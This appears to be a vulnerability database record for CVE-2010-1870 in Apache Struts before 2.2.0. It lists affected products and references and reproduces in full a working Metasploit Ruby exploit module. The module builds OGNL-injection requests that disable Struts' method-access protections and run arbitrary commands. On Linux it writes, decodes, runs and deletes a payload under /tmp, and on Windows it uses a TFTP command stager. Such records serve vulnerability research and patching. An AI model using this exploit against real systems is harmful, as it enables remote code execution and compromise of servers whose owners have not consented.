ID

VAR-E-201007-0287


CVE

cve_id:CVE-2010-1870

Trust: 2.4

sources: BID: 41592 // PACKETSTORM: 91774 // EXPLOIT-DB: 17691 // EDBNET: 40231

EDB ID

17691


TITLE

Apache Struts < 2.2.0 - Remote Command Execution (Metasploit) - Multiple remote Exploit

Trust: 0.6

sources: EXPLOIT-DB: 17691

DESCRIPTION

Apache Struts < 2.2.0 - Remote Command Execution (Metasploit). CVE-2010-1870CVE-66280 . remote exploit for Multiple platform

Trust: 0.6

sources: EXPLOIT-DB: 17691

AFFECTED PRODUCTS

vendor:apachemodel:strutsscope:ltversion:2.2.0

Trust: 1.6

vendor:struts2 xworkmodel:remotescope: - version: -

Trust: 0.5

vendor:vmwaremodel:vcenter orchestratorscope:eqversion:4.1

Trust: 0.3

vendor:vmwaremodel:vcenter orchestratorscope:eqversion:4.0

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.1.5

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.1

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.6

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.5

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.4

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.3

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.2

Trust: 0.3

vendor:opensymphonymodel:xworkscope:eqversion:2.0.1

Trust: 0.3

vendor:ciscomodel:unified contact center enterprisescope:eqversion:0

Trust: 0.3

vendor:atlassianmodel:fisheyescope:eqversion:2.3.4

Trust: 0.3

vendor:atlassianmodel:fisheyescope:eqversion:2.2.3

Trust: 0.3

vendor:atlassianmodel:cruciblescope:eqversion:2.3.2

Trust: 0.3

vendor:atlassianmodel:cruciblescope:eqversion:2.2.3

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.1.8.1

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.1.8

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.1.1

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.1

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.12

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.11.2

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.11.1

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.9

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.8

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.7

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.6

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.5

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.4

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.3

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.2

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0.1

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:eqversion:2.0

Trust: 0.3

vendor:apachemodel:software foundation archivascope:eqversion:1.3.4

Trust: 0.3

vendor:apachemodel:software foundation archivascope:eqversion:1.3.3

Trust: 0.3

vendor:apachemodel:software foundation archivascope:eqversion:1.3.1

Trust: 0.3

vendor:apachemodel:software foundation archivascope:eqversion:1.3.5

Trust: 0.3

vendor:apachemodel:software foundation archivascope:eqversion:1.3

Trust: 0.3

vendor:ciscomodel:media experience enginescope:neversion:56001.0

Trust: 0.3

vendor:atlassianmodel:fisheyescope:neversion:2.3.1

Trust: 0.3

vendor:atlassianmodel:cruciblescope:neversion:2.3.3

Trust: 0.3

vendor:apachemodel:software foundation strutsscope:neversion:2.2

Trust: 0.3

sources: BID: 41592 // PACKETSTORM: 91774 // EXPLOIT-DB: 17691 // EDBNET: 40231

EXPLOIT

##
# $Id: struts_code_exec.rb 13586 2011-08-19 05:59:32Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStagerTFTP
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Apache Struts < 2.2.0 Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
handle unicode characters in OGNL extensive expressions passed to the web server.

By sending a specially crafted request to the Struts application it is possible to
bypass the "#" restriction on ParameterInterceptors by using OGNL context variables.
Bypassing this restriction allows for the execution of arbitrary Java code.
},
'Author' =>
[
'bannedit', # metasploit module
'Meder Kydyraliev', # original public exploit
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 13586 $',
'References' =>
[
[ 'CVE', '2010-1870'],
[ 'OSVDB', '66280'],
[ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
],
'Platform' => [ 'win', 'linux'],
'Privileged' => true,
'Targets' =>
[
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
['Linux Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
],
],
'DisclosureDate' => 'Jul 13 2010',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),
OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
], self.class)
end

def execute_command(cmd, opts = {})
uri = Rex::Text::uri_encode(datastore['URI'])
var_a = rand_text_alpha_lower(4)
var_b = rand_text_alpha_lower(2)
var_c = rand_text_alpha_lower(4)
var_d = rand_text_alpha_lower(4)
var_e = rand_text_alpha_lower(4)

uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

vprint_status("Attemping to execute: #{cmd}")

resp = send_request_raw({
'uri' => uri,
'version' => '1.1',
'method' => 'GET',
}, 5)
end

def windows_stager
exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
execute_cmdstager({ :temp => '.'})
@payload_exe = payload_exe

print_status("Attempting to execute the payload...")
execute_command(@payload_exe)
end

def linux_stager
cmds = "/bin/sh@-c@echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))

execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end

execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")

execute_command("/bin/sh@-c@/tmp/#{file}")
@payload_exe = "/tmp/" + file
end

def on_new_session(client)
if target['Platform'] == 'linux'
print_status("deleting #{@payload_exe} payload file")
execute_command("/bin/sh@-c@rm #{@payload_exe}")
else
print_status("Windows does not allow running executables to be deleted")
print_status("delete the #{@payload_exe} file manually after migrating")
end
end

def exploit
if not datastore['CMD'].empty?
print_status("Executing user supplied command")
execute_command(datastore['CMD'])
return
end

case target['Platform']
when 'linux'
linux_stager
when 'win'
windows_stager
else
raise RuntimeError, 'Unsupported target platform!'
end

handler
end
end

Trust: 1.0

sources: EXPLOIT-DB: 17691

EXPLOIT LANGUAGE

rb

Trust: 0.6

sources: EXPLOIT-DB: 17691

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 17691

TYPE

Remote Command Execution (Metasploit)

Trust: 1.0

sources: EXPLOIT-DB: 17691

TAGS

tag:Metasploit Framework (MSF)

Trust: 1.0

tag:exploit

Trust: 0.5

tag:remote

Trust: 0.5

sources: PACKETSTORM: 91774 // EXPLOIT-DB: 17691

CREDITS

Metasploit

Trust: 0.6

sources: EXPLOIT-DB: 17691

EXTERNAL IDS

db:NVDid:CVE-2010-1870

Trust: 2.4

db:EXPLOIT-DBid:17691

Trust: 1.6

db:EDBNETid:40231

Trust: 0.6

db:PACKETSTORMid:91774

Trust: 0.5

db:BIDid:41592

Trust: 0.3

sources: BID: 41592 // PACKETSTORM: 91774 // EXPLOIT-DB: 17691 // EDBNET: 40231

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2010-1870

Trust: 2.1

url:https://www.exploit-db.com/exploits/17691/

Trust: 0.6

url:http://www.opensymphony.com/xwork/

Trust: 0.3

url:http://confluence.atlassian.com/display/fisheye/fisheye+security+advisory+2010-06-16

Trust: 0.3

url:http://blog.o0o.nu/2010/07/cve-2010-1870-struts2xwork-remote.html

Trust: 0.3

url:http://svn.apache.org/viewvc?view=revision&revision=956389

Trust: 0.3

sources: BID: 41592 // PACKETSTORM: 91774 // EXPLOIT-DB: 17691 // EDBNET: 40231

SOURCES

db:BIDid:41592
db:PACKETSTORMid:91774
db:EXPLOIT-DBid:17691
db:EDBNETid:40231

LAST UPDATE DATE

2022-07-27T09:38:29.095000+00:00


SOURCES UPDATE DATE

db:BIDid:41592date:2014-09-01T01:23:00

SOURCES RELEASE DATE

db:BIDid:41592date:2010-07-13T00:00:00
db:PACKETSTORMid:91774date:2010-07-14T04:47:40
db:EXPLOIT-DBid:17691date:2011-08-19T00:00:00
db:EDBNETid:40231date:2011-08-19T00:00:00